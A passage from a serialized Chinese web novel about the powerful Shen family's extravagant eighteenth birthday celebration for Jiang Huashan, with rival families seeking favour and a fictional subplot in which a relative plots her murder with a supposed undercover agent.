书房的氛围僵硬到了极点,空气里隐隐飘浮着周国潮气喘的鼻息声。 周宴珩低眸想了想,起身捡起地上瓷盏,慢慢走到周国潮面前,轻声道,“爷爷,不如对外宣布,周家为缅怀阿姗故去,丧期内谢绝一切邀约?” 沈家想用一张请帖就把鲸港的权贵分出了三六九等,周家不接招便是。 * 总统楼。 “周家拿周绮姗做挡箭牌倒是很不错的选择。”余斯文双手交叉支撑着下巴,冷静分析,“看来,周家是不打算跟沈家硬碰硬了。” 余笙眉头紧蹙,“连周家都退缩了,其余人只怕凝聚不起来了。” 余斯文,“这些老派贵族能屹立在权柄尖端不倒自是有他们的本事,周家老爷子并非平庸之辈,如今沈、苏、周成三足鼎立之势,若非必要,他不会轻易打破平衡。” “那……顾家和关家……” 余斯文摇头,“指望不上了。” 沈家以一人之力孤立半个鲸港权贵,最后竟无一人敢出来发声,这就是A国第一世族的实力? 余笙久久没有说话,她现在的内心说不出的低落,眼前的局面沈家就如同一棵苍天大树,他们就是那妄图撼动大树的蜉蝣,蜉蝣撼树,不自量力。 余斯文看出了她的失落,温声劝道,“你很失望?” 余笙犹豫片刻点了点头,“我们明明做了这么多,可局势还是没有一点变化。” “你怎么知道局势没有变化?”余斯文反问她,“就因为沈家还在顶峰?阿笙,A国从建国开始沈家就在顶端,这样的家族是当之无愧的鲸王。一鲸落万物生,鲸落若朝夕能成,就不会被誉为海洋界最伟大的重生了。” 余笙愣了愣,想了想却又一知半解,“父亲,那您有什么打算?他们所有人都可以装聋作哑,但您作为A国总统,沈家人这点面子都不给,又如何让您立足?难不成您要做个出头鸟?” 余斯文笑了笑,将提前准备好的拜帖递给她,“爸爸正好想拜托你一件事,替爸爸给姜小姐挑件礼物。” 余笙似有些不情愿,“您要主动赴宴?这样会不会太没尊严了?” “阿笙。”余斯文收敛笑意,眼里多了几分严厉,“记住,权利面前没有尊严,只有利益,想要尊严就要站在最上面去。” 余笙沉默片刻,受教接过请帖,轻声道,“我知道了,礼物我会认真挑的。” …… 第622章 鲸港嫡公主的排面 “砰——” 十二月十二日,一切归于零点,十八响烟火齐放照亮了鲸港上空的夜幕,城市霓虹变成了清一色的粉色灯珠,远远看去鲸港就如同悬浮在海上的梦幻王国,与此同时,海港码头亮起连片星灯,漆黑无垠的深海变成了人间星河。 “生日快乐~” 姜花衫推开房门,眼前花境焕然一新,绣楼如同被鲜花包裹的花房,清一色的粉紫色调让她差点以为自己掉进梦里还没有醒。 傅绥尔和沈眠枝抱着提前准备好的礼物,笑的灿烂明媚。 姜花衫被她们的笑容感染,心情大好,“怎么来得这么早?” 傅绥尔,“我当然要做第一个当面祝福你的人。” 沈眠枝想了想,一本正经,“我做第二个。” 姜花衫第一次觉得这两人幼稚的过分,但她喜欢。 “小姐,起来了吗?快下来吃长寿面。” “来了。”姜花衫应了一声,接过两人的礼物,“吃早餐了吗?” 两人默契摇头,姜花衫笑了笑,“一起。” 张茹早在花廊下摆好了席面,姜花衫下楼时看见眼前的布置惊呆了。 “这什么时候弄的?” 明明昨晚她睡觉时,菊园的花还在冬眠,怎么一夜之间全全开了?她养过花,一眼就看出这些花都是临时移植过来的,现在已经入冬,能让这些花开成这样想必是花了大价钱的。 张茹,“老爷子想给您一个惊喜,特意等您睡着了才让花匠们布置的。不止咱们菊园,托小姐的福,如今整个沈园都是花海,老爷子还在花海里藏了福袋,说是给谁找到就是谁的。现在大伙们都在打趣,要是姜小姐每天都过生日就好了。” 姜花衫莫名有些眼酸。 爷爷这是在替她拉拢人心,他大概是真的很怕她以后会过的不好,所以才会用这种方式替她积累善缘。 “怎么了?”傅绥尔故意调笑,“这就感动了?那你出去转一圈岂不要哭死?” 姜花衫抬手拂了拂睫毛,“外面怎么了?” 沈眠枝拉着她入席,“小姑姑以你的名义创立了十八全公益性质的基金会,现在在全市方位召集救助对象,清予哥包下了全鲸港所有的广告展示位为鲸港嫡公主庆生。” “不止哦~”傅绥尔歪着头靠着姜花衫的肩上,“今天沈氏旗下所有公司员工都带薪休假,如果能为鲸港嫡公主创造出超过一万的话题流量,就以10:1的比例折现,但因为沈家造势,现在只要出现你的名字就自带流量,所有人都把这看做是捡钱的项目,截止到现在为止,关于#鲸港嫡公主的话题热度最高的已经累计到三亿了。听说这个点子是阿灵哥出的,啧啧啧,不得不说,阿灵哥在操控人心这件事上是有点东西在里面的。” “还有这种事?”姜花衫瞪大了眼睛,“谁是第一名?” 1:10,这就赚了三千万? 沈眠枝,“是清予哥,他在沈园开直播,听说光打赏礼物就收了差不多一百万了。” “……”姜花衫嘴角抽搐,“他一个大少爷在沈园直播?爷爷不管吗?” 沈园从来不对外公开的,万一安防泄露了岂不是危险。 傅绥尔摆摆手,“管什么?爷爷都出镜读弹幕了,只要是夸你的,爷爷都读一遍。” “……”姜花衫又好气又好笑,“那不累坏了?” 沈眠枝,“是啊,大家现在为了能让爷爷读自己的弹幕就没差把你夸到天上去了。” 傅绥尔,“最好笑的是兰晞哥,他根本不知道爷爷和清予哥在捣鼓什么,安静坐在椅子上喝茶,没想到有人认出了他是拯救的英雄,直播间一下涌进好多人,为了保持热度,爷爷不准兰晞哥走,一大清早就已经喝了五六杯茶了。” 姜花衫一时不知道说什么,正要吃面,菊园的门被人轻轻推开,有人手里提着一个精致的木盒站在院外。 冬日午后的阳光斜斜切下,不暖,却亮得清晰。 沈归灵穿着一身剪裁极好的黑色西装,镀着金光的眼睫微微颤动,“生辰快乐。” * 第623章 越漂亮越喜欢 生日快乐就生日快乐,强调十八岁又是什么意思? 姜花衫顶着发麻的头皮,端出一副六根清净慈悲样,风轻云淡,“谢谢啊。” 这不在意的模样,就差没把咱俩不熟的心思挂在脸上。 沈归灵看透了她那点小心思,十分体贴找了个台阶,“前院还有客人,那我先回去了。” 姜花衫假装没听见,捧着武太奶的礼物认真研究,沈归灵也不在意,一副确实不熟的样子转身出了院子。 “你跟阿灵哥吵架 ?”傅绥尔盯着沈归灵的背影看了一会儿,一脸好奇。 姜花衫反应极快,“没有啊,我跟他……就是不熟。” “不……不熟?”傅绥尔更迷惑了,“怎么不熟,咱们都是一块长大的,知根知底,难道还有比这更熟的?” 姜花衫摆摆手,“你不懂。” 傅绥尔求知若渴,“那你说,要怎么样才算熟?” 姜花衫忽然想到什么,小脸姜黄,掩唇清咳了一声,“都说了你不懂。” 傅绥尔一头雾水,转头看向沈眠枝,“你懂吗?” 沈眠枝想了想,摇头,认真看向姜花衫,“不懂。” “……”姜花衫嘴角抽了抽,“不重要~” * 沈归灵从菊园出来便往主厅方向走去,刚走进廊庑便听见身后有人叫他。 “阿灵哥。” 沈归灵身形微顿,眼睑微抬回头看去。 沈亦杰从廊下芭蕉树后走了出来,脸上挂着人畜无害的微笑,“我们能谈谈吗?” 沈归灵转过身,神色淡然,“现在?” 沈亦杰点头,“现在。” * 沈园主厅。 “鲸港嫡公主貌美如花,人见人夸,可爱到爆美到失帧!老爷子求求了,读读我的评论吧,我这也算光宗耀祖了。” “我为公主痴我为公主狂,我为公主哐哐撞大墙!打……kO!” 沈庄带着老花眼镜,表情一丝不苟,语调抑扬顿挫,影子总统读弹幕,直播间在线人数直线飙升。 “老公!爷爷,您后面那个是我失忆的老…公???” 沈兰晞淡定自若喝了十杯茶水了,冷不丁听见这话险些喷了出来。 沈庄愣了愣,忽然反应过来,转头审视起沈兰晞,不等沈兰晞开口,他眯眼质疑,“怎么回事?” 沈兰晞,“……” “哈哈哈哈!”沈清予一时没忍住,一边抖着肩膀一边学着沈庄的语气,“是啊!怎么回事?” 沈娇看不下去了,笑着解释,“爸,现在的年轻人都玩抽象,大家开玩笑的。” 沈庄不解,“抽象?” “网友就是觉得兰晞太帅了,故意逗他呢。” 说完,沈娇不禁都有些同情沈兰晞了,为了那一点点流量,堂堂沈家太子爷坐在这给人当背景板不说还要被一群网友调戏。 “哦,原来是这么回事。”沈庄定睛一看,这才发现直播满屏都飘着老公二字。 他对新鲜事物向来不排斥,便也跟着笑了出来,“嗯,年轻人还是有创造力。” 说着,沈庄又从满屏飘着老公的弹幕里找到了一条夸姜花衫的。 “爷爷!爷爷!民政局我已经搬过来了,什么时候让我跟公主殿下结婚啊?(狗头)” “结婚?”沈庄前一秒还和蔼可亲,下一秒忽然黑脸,“把这个人拉黑。” 沈兰晞,“……” 这时,郑松从院外大步走了进来,沈庄看了一眼示意他别说话,郑松会意,安静退至一旁。 因着有人带头搞抽象,现在满屏不是喊老公、爷爷,就是喊老婆宝宝的。 沈庄看着镜头,神情严肃,“你们叫老公可以,这个……” 他指着沈兰晞。 “这个。”又指了指沈清予。 “你们哪个的老公自己认领,就是不准叫老婆,听见没?” A国影子总统的气场不是普通人能抵挡了,话音一落,满屏只有老公没有老婆。 这届网友还算听劝,沈庄极为满意站起身,“行了,你们两个好好跟大家拉近关系,我一把老骨头起来走动走动。”说罢,便随郑松出了主厅。 沈兰晞,“……” 沈清予倒是不介意,浑身上下一股野劲儿,“兰晞哥,来挑媳妇啊~” 他一起哄,网友们沸腾了,有人现场征婚,有人毛遂自荐,沈清予也不见外,随手剥了个甜橘,笑得张扬,“要认老公可以,但我先说明啊,丑的不要,蠢的不要,比我大的也不要。” 网友没见过这么接地气的世族少爷,纷纷起哄问他喜欢什么样儿的? 沈清予掰了一瓣橘肉扔进嘴里,语气稀松平常,“我喜欢漂亮的……” 说完,也不知想到了什么,忽然笑了笑,加重的语气,“越漂亮越喜欢~” 沈娇默默给自己倒了杯茶,眼神闪烁瞥向沈兰晞。全鲸港,单论美貌,姜花衫说第二没有人敢认第一,沈清予说的是谁,其实已经很明显了。 人还没在这就撕起来了?竞争这么激烈的吗? 不愧是她的女儿! 沈兰晞一直神情淡淡,任沈清予说什么眼皮都没抬一下,直到那句我喜欢漂亮的才终于有了一点反应。 沈兰晞起身,抬眸的瞬间沈清予正好看了过来。 后者的眼神满是挑衅,“太子爷,大家都在问你喜欢什么样的?” 沈兰晞充耳不闻,转身出了主厅。 沈清予早料到这样的结果,咬下最后一块橘肉,咧嘴笑了笑,“替大家拔草了啊,嫁人可不能嫁这样的,会冷暴力~” 沈兰晞一出主厅,高止立马从树后窜了出来,没等他开口,沈兰晞冷冷道,“我说了,你不准靠近我三米之内。” 啧?! 小肚鸡肠! 高止翻了个大大的白眼,迅速跳开三米之外,双手做喇叭状,“少爷,你让我盯着阿泽……” 沈兰晞眼神微变,转身看着他,“还想再扣半年薪资?” 高止瞬间老实,一个闪现重新窜回沈兰晞身边,捂着嘴小声道,“少爷,您不是让我盯着阿杰少爷吗?我刚刚看见他跟沈归灵一起去了秋园。” 沈兰晞微愣,“沈归灵?” 沈归灵怎么会和沈亦杰有牵扯,这倒是有些出乎他的意料。 沈兰晞思忖片刻,抬步往廊下走去。 高止立马跟上前。 沈兰晞皱眉,“别跟着。” 啧,利用完了就踹,我就跟。 高止跟到一半立马掉头。 菜鸡早上不是上过厕所了吗?这才过了多久,怎么还没开始恋爱肾就不好了? …… 第624章 -L 沈庄从主厅出来,转身去了沁园。 此时,沈谦、沈渊、沈让已经在花厅恭候多时,沈庄一只脚刚跨过门槛,三人立马站起身。 沈庄拄着拐杖慢慢入座,沈谦立马上前奉茶,沈庄摆摆手,“都坐吧。” 三人这才又坐了回去。 沈庄抬眸看向郑松,“怎么回事?” 郑松,“总统阁下给您递了拜帖,人现在已经在园外。” 沈庄垂手轻轻击叩桌面,思忖片刻说道,“把人请进来。” “是。”郑松转身出了花厅。 沈渊看了沈谦一眼,试探问道,“爸,您说余斯文这是什么意思?” 沈让冷笑了一声,“还能是什么意思,咱们又没给余家下帖,他自己找上门,不是想巴结是什么?” 沈谦,“周家闭门谢客,其余人干脆装起了哑巴,余斯文倒好直接找上门,还真是让人刮目相看。” 沈庄神色不明,“要不然余家能从一个小地方杀进鲸港?” 三人神情神情各异,都没有再接话。 稍作片刻,厅外传来动静,郑松领着余斯文和余笙进了门厅。 “哈哈哈哈,沈老,不请自来,没有给您添麻烦吧?” 俗话说伸手不打笑脸人,余斯文主动降低姿态,沈家人也不好主动为难。 余笙跟在其后,抬眸看了沈庄一眼立马又低下头。 沈庄淡笑起身,做了个请的动作,“阁下今天怎么有空来沈园?” 余斯文并未入座,微微欠身,“听闻今天是衫衫小姐生日,我正好这几日休假特意来凑凑热闹。” 沈庄点头,不冷不热,“有心了。” 只回应,但不接话,这是明显的上位者的姿态。 余笙低着头,掩在长睫下的情绪复杂至极。 五年前,他们第一次来沈园时,沈庄待他们尚算和气,原以为沈庄是顾虑A国总统这个身份,现在看来,原来一切不过都是这位老家主的一念之间。 多么可笑,他们在鲸港拼搏了五年,结果竟抵不过沈庄一时的喜恶。 此刻,她终于明白为什么沈家会被所有人视为鲸王的存在。 余斯文自然能感受到沈庄的疏离,但他并未在意,继续笑着寒暄,“此前在周家葬礼上,阿笙出言不逊平白让衫衫受了委屈,我今日特意带她来跟衫衫道个歉。” 余笙垂眸,从余斯文身后走了出来,“沈爷爷,我当时也是一时嘴快,请您相信我,我对衫衫绝无恶意。” 沈庄当然不会自降身份和一个孩子计较,转头看向余斯文,“孩子有孩子自己的意愿,我们这些做长辈的哪能事事干预?令千金仗义执言果敢洒脱不失为真性情,倒也不必因为这种事特意上门致歉,小花儿并未放在心上。” 余笙有些难堪,沈老爷子的意思是,她们自以为联合孤立了姜花衫,但其实姜花衫从未将她们放在眼里,她甚至根本不在乎她的道歉。 短短一分钟,两句话,她就感受到了什么是来自上位者的凝视。 余斯文并不在乎沈庄说了什么,他有他的目的,闻言立马附和,“老爷子说的是,但阿笙回去后一直自责不已,她向来不与人交恶,那日也不知怎么说话没轻没重,我若今日不来,这孩子只怕要一直惦记着这件事。” 沈谦抬眸,略有几分意外看了余斯文一眼。 这个余斯文倒是比他想象地还能低头,老爷子说姜花衫不在乎,余斯文立马顺杆爬把登门致歉说成了是余笙良心不安,这么对比,姜花衫和余笙的地位谁高谁低立竿见影。 余笙紧紧握拳,闭了闭眼,抬起头眼里看是羞愧,“沈爷爷,我一直觉得女生之间是可以和平相处了,花园里百花齐放百家争鸣才是最美的春景,我真的很想为那天的冒失发言向衫衫道歉。说来也是可笑,大家都以为我们联合一起排挤衫衫,但我们真的没有这个意思,相反,我们其实很喜欢衫衫,只是不知道怎么相处而已。” 她说的诚恳,沈庄也不好为难,犹豫片刻慢慢缓和了神情,“行了,你们小孩儿之间的事我不参与,来都来了,那就吃了东西再走吧。” 余笙暗暗松了一口气,面带欣喜,“好。” * 秋园。 清冷的阳光如一柄薄刃斜斜切入寂静的庭院。 凉亭里,沈归灵单手托腮,目光闲散看着地面的碎影,沈亦杰皱着眉头,眼里的笑意渐渐沉入海底。 “L,我刚刚说的你到底听见没有?” 沈归灵抬眸,明明还是一样的眉眼,但此刻却像完全变了另外一个人。 “谁告诉你我的身份的?沈年?”他问话的时候语调漫不经心。 沈亦杰一时摸不准沈归灵的态度,斟酌片刻说道,“你如今已经顺利进入南湾舰队,现在南湾海港的军事布防对你来说应该不是难事,组织问你……” “你来沈家做什么?”沈归灵不想听废话,冷冷打断他的话。 不等沈亦杰回答,他缓缓抬眸,眸底浮现一抹幽光,自问自答,“来杀人?杀谁?” 沈亦杰愣住了,似乎很惊讶沈归灵为什么能猜中,明明他几乎从不登录聊天室。 猜到的? 沈亦杰表情怪异,难怪沈年一直提醒他要防着沈归灵。 的确有些可怕。 沈归灵只凭一眼就有了判断,“还真是来杀人的?沈家还有什么人值得你们追上门杀?” 沈亦杰感觉被冒犯了十分不满,脸色阴沉,“L,你该不会是当沈家少爷当上瘾了吧?别忘了你的身份?” 沈归灵,“沈年连这个都跟你说了?” 沈亦杰,“你现在拥有的一切都是沈归灵的,但你别忘了,你根本不是沈归灵!你是姚歌捡回来的野种,没了这层身份,你不过是烂命一条,这世上根本不会有人看你一眼。” 沈归灵沉默片刻,偏头打量他,“你想让我做什么?” 沈亦杰面容忽然变得扭曲,咬牙切齿,“我要姜花衫的命。” 沈归灵笑了笑,“……” …… 笑死,昨天的裙被禁言了,都让你们乖乖的~有宝宝说是我名字没取好,现在真的被一网打尽了。 哈哈哈,新裙已建,被一网打尽的小鱼们请移步~ 第625章 是他们的问题 从下午开始,沈园逐渐热闹起来。 主厅的十二道紫檀花神木门齐开迎客,沈清予的直播就架在主厅的牡丹亭是客人们入厅的必经之路,看直播的和不看直播的都忍不住偷偷关注,一看大少爷竟然在直播间‘选媳妇’,众人一下坐不住了,纷纷开始豪刷上票争夺榜一。 沈清予喝口茶的功夫,打赏就涨到了300万,网友立马激动了,平台机制被触发,流量缺口爆破开始疯狂激涨。 沈娇作为此次宴会发起人,打扮的珠光宝气贵气十足,权贵圈的太太们远远见了便拉着自己小辈的手上前寒暄。 “我们都是越活越老,您怎么越来越年轻,真是没天理了。” “你要像她这样有两个报恩的女儿你也年轻。” 傅绥尔如今也算出息,几次公开演说都拿到了不错的成绩,如今只要说到总统千金,大家总会在不自觉谈起沈家那位表小姐,至于姜花衫,虽然她的名声褒贬不一,但她在沈家的宠爱毋庸置疑,人不想要个被沈庄偏爱的孙女? 说话的都是跟沈娇交好的太太们,自然知道说什么这位幺小姐会开心。 沈娇从不吝啬在外人面前炫耀女儿,点着头附和,“不怕你们笑话,我这也算苦尽甘来了。” “这又是想气死谁啊?现在谁有你命好,女儿听话又没有人管,我要是你不知道多快活。” 大家哄笑一团,招来自家小辈,“你家那两个宝贝呢?怎么没见着人?我家这几个小泼猴听说衫衫生日,都吵着要见见咱们鲸港嫡公主。” 沈家一番造势,姜花衫的名声也算是彻底打出去了,现在就连上层圈的太太们说起她都知道用嫡公主代入了。 “是啊,小寿星了,你怎么还藏着呢?快请出来让我们见见啊。” 今日能入沈园的都是被精挑细选的客人,身份、名利、地位唯一不可,沈庄直接踢走了半个鲸港贵族为姜花衫庆生为得是什么大家都心知肚明,是故家里的小辈来赴宴之前就已经被千叮万嘱过了。 今晚,姜花衫必定是众星捧月的主角。 “那内院跟几个妹妹玩呢,这会儿还不知道你们来了。”说着,沈娇转身招呼冯妈,“去把那几个丫头叫过来,就说有客人来人。” 冯妈立马应声出了主厅。 前院一会儿功夫,宾客就来了一半,沈庄得了消息,与余斯文一道重入主厅。 沈庄才入主厅,宾客们便骚动起来,不由暗叹沈家的权威,全鲸港都知道总统家不曾接到邀请,如今能出现在这,定然是低了头。 “老爷子安康。” 沈庄笑着点头,抬眸环顾一圈给郑松使了个眼色,“去,让兰晞和阿灵来主厅招呼客人。” * 郑松的脚程比冯妈快,姜花衫一行人从菊园出来时和沈兰晞碰了个正着,傅绥尔立马热情摇臂招呼。 “兰晞哥~” 沈兰晞立在光影下,黑色西装像第二层皮肤裹住宽肩窄腰,袖口露出一截霜白的腕骨,系在腕间的红色细绳尤其晃眼。 傅绥尔眼前一亮,兰晞哥也穿了黑色西装,跟阿灵哥好配啊,不愧是将门双星。 沈兰晞脚步微顿,目光淡淡落在姜花衫身上又若无其事移开。 “去前厅?” 傅绥尔点头。 沈兰晞转身,刻意放缓脚步。 不过,也正是因为太过刻意了,惹得姜花衫莫名其妙看了他一眼,这家伙一向独立独行怎么好端端了突然跟这么紧,难不成是想偷听她们说话? 不管是不是,姜花衫都不打算让沈兰晞抓住她的把柄,当即闭上了唠叨了一早上的小嘴巴。 傅绥尔兴冲冲聊了两句发现她不对劲,眼神有些奇怪,捂着嘴小声道,“你跟兰晞哥也吵架了?” “……”合着她一天到晚就跟人吵架?姜花衫斜睨了傅绥尔一眼。 傅绥尔忽然想到什么,“难道是因为不熟才不打招呼?” 沈兰晞脚步顿住,转眸看向两人。 恰是这时,正好路过秋园,沈归灵和沈亦泽一前一后从园里走了出来。 一行人碰上,所有人都愣了一下,沈亦泽最先反应过来,笑着朝沈兰晞走去,“兰晞哥,你们要去哪?” 沈兰晞,“前院来了不少客人,爷爷让我们过去。” 傅绥尔扫了沈亦杰一眼,故作不经意,“阿杰哥你和阿灵哥怎么在一块?” 沈归灵是二房的,沈亦杰是三房的,两人又从未有过交集,突然走得近很难不引起人注意。 沈亦杰,“想知道?秘密。” “走吧。”姜花衫全程没看任何人一眼,一副跟三人都不熟的样子。 晚宴还没开始,客人差不多就到齐了,一行人还刚入园便引起了不小的骚动。 余笙正在牡丹园和苏韵聊天,苏灼跟着苏敬琉坐在大佬圈学习待人接物,察觉到气氛不对立马抬头看了过去,没等他们反应过来,另外一群贵女圈的千金们笑吟吟涌了上去。 “呀?这就是传说中的鲸港嫡公主啊?可算是见到真人了,但怎么漂亮得不想活人?” “说的什么话?不像活人像什么?” “冒着仙气儿,像天仙。” 一群人一唱一和,在姜花衫还没反应过来时就被夸懵了。 沈眠枝凑近,在她耳边小声说道,“这些应该都是鲸港圈外的小姐们,别小看她们,这些人的家族在四湾不是龙头就是强蛇。” 姜花衫眸光微动,抬眸眺看人群中央的老人。 鲸港的圈子不容她,沈庄就从把圈层扩出鲸港之外,他真的做到了他说的那句,要是大家都不喜欢她,那就是所有人都有问题。 …… 第626章 爱人如养花 沈庄正低头和苏家老爷子说话,听见动静立马往门口看了过去,见姜花衫正眼巴巴看着她,立马招手,“小花儿。” 姜花衫朝众人点了点头,小跑上前,“爷爷。” 沈庄拉着她的手,“跟你沈爷爷和叔伯们打声招呼。” 按理小辈的生日,苏敬琉、姚礼这样的身份不必亲自赴宴,既然来了便是看重,沈庄刻意让姜花衫在众人面前露脸,也是想告诉所有人,他对这个孙女有多看中。 以后若谁还敢带头孤立他的孙女,自己掂量掂量骨头有几斤重。 “苏爷爷、姚伯伯、各位叔伯们好。”姜花衫装出一副乖巧的模样,一一问好。 她穿了件婉约柔美的白色礼裙,不着粉黛却漂亮得灵气逼人,稍稍一卖乖就能把不知她底细的人骗得团团转。 众人顿时眼前一亮,难怪有人用掌上明珠来形同倍受宠爱的贵女,这不活生生的一颗明珠。 沈娇瞧着火候差不多,起身走进大佬圈,一把挽过姜花衫的胳膊,打趣道,“爸,你显摆完了吗?显摆完了人我可带走了。” 沈庄故作不满瞪了她一眼,摆摆手。 沈娇笑着点了点头,回头朝傅绥尔使了个眼神。 傅绥尔立马跑上前一把搂住沈娇的另一只胳膊,小声道,“妈,是不是也要显摆我?” 沈娇点了点她的鼻子,一手一个将两人拉进了太太圈。 “都说我藏女儿,你们自个儿瞧瞧,这么个宝贝疙瘩我不藏怎么行?”说完左右看了看,犹豫片刻把姜花衫推了出去。 太太圈的贵太太们看见姜花衫第一眼都是眼前一亮,上层法则,贵不可侵,五年时间,沈娇已经用爱将眼前的女孩温养成了独一无二的珍宝,面对珍宝,所有人的第一反应都是纳为己用或者捧在手心,绝不会有亵玩之心。 “……”傅绥尔嘴角抽了抽,歪着头靠向沈娇,“您刚犹豫那一秒是认真的吗?我就不是宝贝?是疙瘩?” 沈娇被她逗笑了,推着傅绥尔的肩膀上前,“这个泼猴小时候你们是见过的,还不叫人?” 傅绥尔穿了一条海蓝色的渐变波浪短裙,利落的盘髻马尾点缀了一颗比灯泡还亮了澳白珍珠。她身材高挑,肚脐以下全是腿,完美的头身比例再加上任何时候都松弛有度的气质,让她即使站在光彩夺目的珍宝,也显得与众不同。 两个女孩儿真正做到了,相互成就却不将就。 若说之前,太太们恭维沈娇命好多少还有些违心,那现在是真的心服口服,都说女儿是妈妈的小棉袄,沈娇这一家两件绝世小棉袄怎么能不让人眼红。 太太们拉着两个女孩儿左一句右一句,就差没有把结亲的心思写在脸上了。 沈娇见气氛差不多,连忙出面打圆场,“好了好了,这两个鬼丫头只怕早就坐不住了,去吧,替妈妈好好招呼你的小姐妹。” 姜花衫和傅绥尔默契起身,刚出了太太圈立马又被热情的贵女千金包围。 “姜花衫这是干嘛呢?怎么一个劲儿显摆的没完?”苏妙双手叉腰,眼睛里不停地冒酸水,“我刚刚从她旁边过,她都没有看我一眼!” 沈眠枝想到苏妙面对人墙想挤又端着的样子便觉得好笑,歪着头轻声道,“你叫她一声,她保管过来。” 说完抬眸,便对上了一双热烈带着笑意的眼睛,她微微一愣,淡笑点头,若无其事转过目光。 苏灼的目光在沈眠枝的侧脸停留了片刻,默默收回目光,可没过多久他又按耐不住偷偷打量,谁料刚抬眸便扑了空,沈眠枝已经不在原地了。苏灼愣了愣,抬起头四处寻找,几度转圜终于又在茫茫人海中看见的熟悉的身影。 她进了牡丹亭,笑着和沈清予在说话。 “阿灼?” 苏灼怔愣,稍稍恍神,转眸看向身侧的沈老爷子,“爷爷?” 苏敬琉略有迟疑往人群看了一眼,“你看什么这么入神?” 苏灼,“没什么。” 苏敬琉并未在意,“你也跟他们去玩吧。” 苏灼心随意动,想也没想抬步往牡丹园走去。 “阿灼哥。” 他刚穿过人群,苏韵拉着余笙不知从哪冒了出来,挡住了去牡丹园的路。 苏灼愣了愣,“阿韵,怎么了?” 苏韵,“余小姐说她最近研究A国的军制体系,但有些资料军用文献并未记载,哥您不是对军法制度很了解吗?说不定可以帮到余小姐。” 苏灼思忖片刻,转头看向余笙,“军制体系庞大,一时半会儿也说不清,余小姐若是感兴趣,我回去找些资料让人给你送过去。”说罢,也不管两人什么表情,侧身又挤进了人群。 “阿灼……” 苏灼的态度让苏韵有些尴尬,她早就看出了苏敬琉有心与余家联姻,所以才会在余笙过来示好时与她亲近,又在余笙谈及作业报告时提及苏灼,原本她是想帮着撮合两人,但万万没想到苏灼竟然是这种态度。 “余小姐,我哥他……” 余笙脸上丝毫看不出任何不悦,甚至还帮着苏灼说话,“没关系的,苏少爷说的有道理,那么复杂的东西哪是一两句话说的清的?是我太心急了。” 闻言,苏韵笑了笑没再说话。 小辈们基本聚集在牡丹亭和偏厅,因着剔除了不安分因素,宴会氛围格外和谐。 姜花衫总算享受了一回众星捧月的感觉,这场宴会她是绝对的主角,所有人都不自觉向她聚拢。 一个身份卑微的养女竟然登堂入室唱起了主角?沈亦杰冷冷看着眼前这场‘闹剧’,直到心中的恨意几乎要控制不住才缓缓闭眼,他转头走进人群,趁着沈归灵休息的空隙上前搭话。 “你不是说可以把她骗出来吗?怎么还不动手?” 沈归灵抬眸看向人群里的明珠,嘴角微勾,“现在这么多人,不好骗。” 事实是,现在她这么开心,不想打扰。 沈亦杰只觉得沈归灵的笑有些古怪,但具体是什么他又说不上,为防他耍花样,他不得不再次提醒,“你最好别耍花样,不然大家一起鱼死网破。” 沈归灵,“你这么沉不住气,沈年是怎么看上你的?” “……”沈亦杰冷笑,“姜花衫不好骗,你打算怎么把她引去夏园?” 沈归灵,“我和她不熟,要骗,只能耍点手段了~” …… 第627章 沈小夫人 能入沈园的宾客,几乎看重的都是依靠沈家聚拢的人脉圈,这也是为何夜宴还没正式开始便有人迫不及待登门的原因。 沈庄深谙这点,特意开放了后山的避暑院供宾客休整,考虑到现在已经是初冬时节,后山临湖寒气重,沈庄又命人在湖边搭了十八座取暖火塔,一番修缮,冬日赏湖也成一件赏心悦目的趣事。 为了这场生日宴,沈庄可谓是煞费苦心,姜花衫看在眼里也不想辜负,默默收起了一身的懒劲儿。 上位者并不好当,尤其到了沈家这个位置,一言一行都有无数人盯着,姜花衫作为此次被力捧的明珠更是不能出一点错。 众人为她远道而来,她自然要让大家宾至如归,这事说的简单,真要做起来就是另外一回事了。 太过热情,人家只会觉得你好拿捏,太过冷淡又辜负了沈庄为她笼络人心的心意。 所以,万事最难的就是刚刚好。 凑巧的是,姜花衫恰恰就会这一点‘刚刚好’。 上一世她和沈兰晞订婚后,沈兰晞以她肤浅上不了台面为由迟迟不愿完婚,用沈家太子爷的原话是: “像她这样的人,没有防人之心却有害人之心,听不出弦外之音也看不透表象之局,带出去只会丢沈家的脸。” 爷爷听后大怒,而她的确听不懂弦外之音,满以为沈兰晞只是在介怀当初被她暗算的事,为了缓和自己与沈兰晞的关系,她主动提出愿意去沈家老宅学规矩。 沈庄不愿她受这个苦,一口回绝,但她却满心期待,死乞白赖求沈庄成全。 那个时候武太奶已经不在了,教她规矩的是沈氏另外几房是婶娘,她们知道姜花衫不受沈兰晞待见,所以对她并不亲近,又因为方眉教她的都是烟视媚行之道,她们也瞧不上她,所以哪怕姜花衫后来练得脱了一层皮,她们也还是觉得她折辱了明月高挂的沈家太子。 那是姜花衫一生中最有骨气的一次,硬生生抗下了她们所有的刁难,即便再苦也没有打电话向沈庄求助,就这样她在老宅住了半年,学会了沈家的所有规矩,考核时就连挑剔的婶娘们都无话可说。 可当她满心欢喜回到鲸港时,却发现事情好像和自己想得完全不一样。 她学会了优雅、从容、待人接物,可沈兰晞还是有理由,他又说她年纪小,不够稳重。 什么都可以学,唯独年纪只能慢慢熬。 她一下就明白了他的弦外之音,什么给沈家丢脸都是借口,沈兰晞只是单纯地不想和她结婚而已。 老爷子耐心售罄,直接给沈兰晞下达了完婚的通知。也是那天,一向对她视而不见的太子爷亲自登门嘲讽她。 “我还真是小看你了,你果然是无所不用其极。” 一百八十天的蜕皮过程被他说成无所不用其极。 姜花衫也怒了,第一次没有退让,冷声质问他,“无所不用其极不好吗?有野心不可以吗?你生来什么都有,就不允许别人去追求自己喜欢的东西吗?!!你凭什么这么说我?!” 沈兰晞一开始还有愤怒,可当她的情绪真的被挑拨起来时,他又变成了一座冰山。 “有本事你手段干净一点。” “……”刚刚好像有什么很脏的东西翻动了她的回忆。 姜花衫用力摇了摇头,企图把那段不好的回忆从脑子里甩出去。 真是……不管什么时候想起沈兰晞那句手段干净点,她都还是一肚子的火。 “衫衫……”傅绥尔见状以为她是犯困了,立马凑上前,关心道:“是不是累了?” 恰是这时,冯妈推着茶具推车走进人群,“小姐。” 姜花衫立马打起精神,笑着看向众人,“你们不是说想喝沈园春泉泡的茶吗?我让冯妈把东西取来了。” 说罢,她抬眸看了冯妈一眼,冯妈立马将四套官窑茶盏奉上案前。 虽说都是不缺钱的主,但沈家拿出来的东西都是稀缺货,有钱都买不到,大家瞬间看直了眼睛。 